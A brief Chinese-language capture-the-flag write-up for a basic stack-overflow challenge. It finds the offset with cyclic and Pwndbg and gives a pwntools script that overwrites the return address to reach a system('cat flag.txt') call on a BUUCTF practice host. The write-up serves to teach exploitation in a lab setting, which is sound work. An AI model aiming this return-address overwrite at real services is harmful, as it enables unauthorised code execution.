本题利用了较为基础的一个栈溢出来获取系统权限
首先我们打开IDA进行分析,搜索字符串我们可以看到有cat flag.txt的关键字样
进入跟踪,我们可以看到,程序调用了system命令
首先我们用cyclic创建一个200字符的字符串,利用它来判断溢出点到返回地址的偏移
启动Pwndbg进行调试
由图可得,根据小端序,'saaa'之前有多少个字符,就是偏移量
写出脚本
from pwn import* p=remote('node3.buuoj.cn',29184)#根据靶机不同来进行更改 addr=0x40060d payload='a'*72+p64(addr) p.sendline(payload) p.interactive()
打通服务器,拿到flag